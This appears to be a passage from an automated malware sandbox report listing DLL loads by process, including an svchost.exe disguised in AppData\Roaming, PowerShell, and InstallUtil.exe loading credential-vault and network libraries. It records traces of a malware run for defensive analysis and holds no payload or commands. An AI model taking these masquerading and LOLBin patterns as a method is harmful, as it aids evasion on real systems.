Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\timeout.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: amsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: userenv.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasapi32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasman.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rtutils.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: secur32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: schannel.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ntasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ncrypt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: gpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ntmarta.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vaultcli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wintypes.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wersvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: windowsperformancerecordercontrol.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: weretw.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wer.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: faultrep.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dbgcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wer.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
